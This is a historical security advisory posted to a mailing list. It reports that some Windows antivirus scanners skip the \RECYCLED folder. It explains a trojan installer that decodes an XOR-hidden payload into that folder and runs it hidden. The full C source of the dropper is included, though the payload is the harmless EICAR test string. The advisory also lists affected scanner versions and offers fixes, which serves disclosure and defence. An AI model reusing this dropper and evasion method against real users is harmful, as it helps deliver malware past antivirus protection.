Greetings All,
I originally released this vulnerability over the Christmas holidays on
NTBugTraq. I spoke with a member of the Security Focus staff about
getting it onto the web site and was told that I should post the problem
here. During our conversation we decided that I hadn't been clear in my
last posting and that I should re-do it complete with working exploit
and source code. I hope this one makes more sense. The new version
follows.
Best Regards,
Neil Bortnak
InfoSec & Linux Consulting
www.bortnak.com
1.Background
------------
Under Win95/98 the Recycle Bin is a system designed to make it easy for
users to "undelete" files. When a user deletes from the GUI, the file is
not really deleted but moved to a folder named "RECYCLED" located at the
root of that volume. If the folder does not exist, possibly because
nothing has ever been deleted on that volume, the directory is created.
The file is then renamed and information about the file's original name
and location are stored in an index file. When you look at the recycle
bin through the GUI, Windows reads the index files from each volume and
displays their contents. It does not display a raw directory listing.
You cannot easily access a raw directory listing through the GUI. When
you empty the recycle bin, Windows deletes all of the files in the
RECYCLED directories that have a corresponding entry in one of the
indexes. Therefore a file stored in a RECYCLED directory via DOS or a
program will not show up anywhere in the GUI and will not be deleted
when you empty the Recycle Bin.
2. The Problem
--------------
By default, some virus checkers exclude the files from their batch and
on-access scanning whose pathnames begin with \RECYCLED. That is, all
files and subdirectories within the RECYCLED folder on every volume will
***NEVER BE SCANNED*** for any reason. Therefore you can store and run
malicious code from these directories without setting off the virus
checker. Since these files wouldn't have an entry in the Recycle Bin's
index file, they will never be deleted. It's a safe haven.
3. Exploitation Difficulties
----------------------------
The difficult part about making this work from an attacker's point of
view is getting the malicious code to the \RECYCLED directory. An e-mail
virus checker will catch it as it comes into the network, and on-access
scanning will catch it from the floppy drive. I've worked out two
methods for getting the files into position without setting off the
checkers.
3.1 Trojan with encoded payload
-------------------------------
In my proof-of-concept code, I took one of those fun little games that
are going around and made an "installation" program for it. The program
uses a WinZip self-installer containing 3 files: a clean version of the
fun game (hereafter known as the decoy), a setup program and a file
called winsetup.dll. The winsetup.dll file is in fact the malicious
program encoded by XORing all it's bytes with 25. By doing this the
archive passes all virus checks with flying colors. This nicely bypasses
any perimeter, e-mail, batch and on-access scans.
When executed the WinZip installer extracts the files to a temporary
directory and runs the setup program. The setup program copies the decoy
to the users desktop. If a \RECYCLED directory doesn't exist, the setup
program makes one. It then opens the winsetup.dll file for reading and
creates a new file in the \RECYCLED directory. It copies the
winsetup.dll file into it's new home 4k at a time, XORing it back to the
original malicious executable. The setup program runs the malicious code
in a hidden window and exits.
I tested this idea using Back Orifice 2000. I configured it to install
itself back into the RECYCLED directory after being run for the first
time. It worked just fine. I downloaded the trojan, executed it, and
connected to the BO2K server from another computer and none of the
intervening virus checkers complained. That's really not supposed to
happen.
3.2 On a CD-ROM
---------------
I didn't test this, but CD-ROMs are also excluded by default on some
checkers. Someone can give it a try if they like (I haven't got a
burner, but the theory is sound).
4. Notes on NT
--------------
The exploit works great under NT. The anti-virus folk make the same
exclusions with NT checkers, presumably to deal with dual boot systems.
NT's default permissions allow this to work even when the machine is not
dual boot and has NTFS on all drives because EVERYONE can create
directories at the root. Just make a \RECYCLED directory and away you
go.
5. General Notes
----------------
I don't see why the \RECYCLED directory is excluded. It's even more
strange when you consider that the \RECYCLER directories ARE scanned.
The \RECYCLER directory stores the Recycle Bin's files under NT. One
remark I had from an AV vendor implied that it was unreasonable to scan
files in order to catch XORed or encrypted viruses. That's probably
true, but the whole thing works because of the exclusion of the
\RECYCLED directory. That's the crux of the issue, the rest of the code
just exploits the real problem.
6. Vulnerable Scanners
----------------------
These are the results from the checker I have available.
McAfee Virus Scan
Engine: 4050
DATs: 4062
Vulnerable
Norton Anti-Virus
Engine: 5.01.01C
DATs: 01/24/00
Vulnerable
Norton Anti-Virus
Engine: 5.00.01C
DATs: 01/24/00
Not Vulnerable: Identifies EICAR.COM as Bloodhound.File.String
The problem is more sinister with NAV because the \RECYCLED directory
DOES NOT APPEAR on the exclusions list. It's hidden and can be found
only by having a look at the preferences file with a hex editor. There
are other hidden exclusions in that file, but I haven't had the
opportunity to think about possible exploits yet.
7. Solutions
------------
With McAfee, just go into the exclusions tab and delete the \RECYCLED
entry. You do that at your own risk of course, as I have no idea why it
was excluded in the first place. As for NAV, I don't really have a good
solution that doesn't involve doing creative things with a hex editor or
installing software, which is to say that I don't have a good solution.
8. The virusexploit0100.exe file
--------------------------------
Included in this e-mail is a working exploit for this vulnerability. If
you run the executable and your virus checker does not complain, check
for the existence of an EICAR.COM file in the \RECYCLED directory. The
correct \RECYCLED directory is almost certainly on your C: drive. If it
exists your virus checker is vulnerable.
To tidy up after the test, delete the decoy.exe program file that was
copied to your desktop and the \RECYCLED\EICAR.COM file.
Appendix A. Source Code
--------------
The following source files are for the programs that come in the
virusexploit0100.exe.
A.1 setup.c
-----------
/* Setup program for bypassing virus checkers */
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <dir.h>
#include <io.h>
#include <stdio.h>
#include <windows.h>
#define SOURCE_FILE ".\\winsetup.dll"
#define DEST_FILE "\\recycled\\eicar.com"
#define DECOY_FILE ".\\decoy.exe"
#define DECOY_DIR_KEY
"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders"
#define DECOY_DIR_VAL "Desktop"
#define BUFSIZE 4096
#define XORME 25
int PASCAL WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR
lpszCmdLine, int nCmdShow)
{
int sourcefile, destfile, bytesin,i;
char buffer[BUFSIZE],szDirName[256],szDecoyDir[512];
long lerror;
HKEY regkey;
DWORD ValSize = sizeof(szDirName); /* How annoying */
/* Find out where the desktop is so we can put the decoy there */
if((lerror =
RegOpenKeyEx(HKEY_CURRENT_USER,DECOY_DIR_KEY,0,KEY_QUERY_VALUE,®key))
!= ERROR_SUCCESS)
{
exit(0);
}
if((lerror =
RegQueryValueEx(regkey,DECOY_DIR_VAL,0,NULL,&szDirName[0],&ValSize)) !=
ERROR_SUCCESS)
{
exit(0);
}
RegCloseKey(regkey);
/* Expand the dir name on the off chance it contains ENV vars */
ExpandEnvironmentStrings(&szDirName[0],&szDecoyDir[0],sizeof(szDecoyDir));
rename(DECOY_FILE,strcat(szDecoyDir,DECOY_FILE));
/* It doesn't matter what mkdir's return code is. It'll make the dir if
it
doesn't exist or fail of it does */
mkdir("\\recycled");
/* Prepare to "decrypt" the infected executable */
if((sourcefile = open(SOURCE_FILE,O_RDONLY | O_BINARY)) == -1)
{
exit(0);
}
if((destfile = open(DEST_FILE,O_WRONLY | O_CREAT | O_EXCL | O_BINARY,
S_IREAD | S_IWRITE)) == -1)
{
exit(0);
}
/* "Decrypt" it */
while((bytesin = read(sourcefile,&buffer[0],BUFSIZE)) != 0)
{
for(i=0;i<bytesin;i++)
{
buffer[i] ^= XORME;
}
write(destfile,&buffer[0],bytesin);
}
close(sourcefile);
close(destfile);
/* Run the infected executable. You would normally use SW_HIDE here. */
WinExec(DEST_FILE,SW_SHOWNORMAL);
return(0);
}
A.2 decoy.c
-----------
/*
A lame decoy program by Neil Bortnak
*/
#include <windows.h>
int PASCAL WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR
lpszCmdLine, int nCmdShow)
{
char message[] = "This is the decoy program. Normally you'd use a fun
little game\nor a self-playing animation of questionable taste.";
MessageBox(NULL,&message[0],"Virus Test",MB_OK | MB_ICONINFORMATION);
return(0);
}
A.3 winsetup.dll
----------------
The unencoded form of this file is a standard EICAR.COM test string.
virusexploit0100.exe
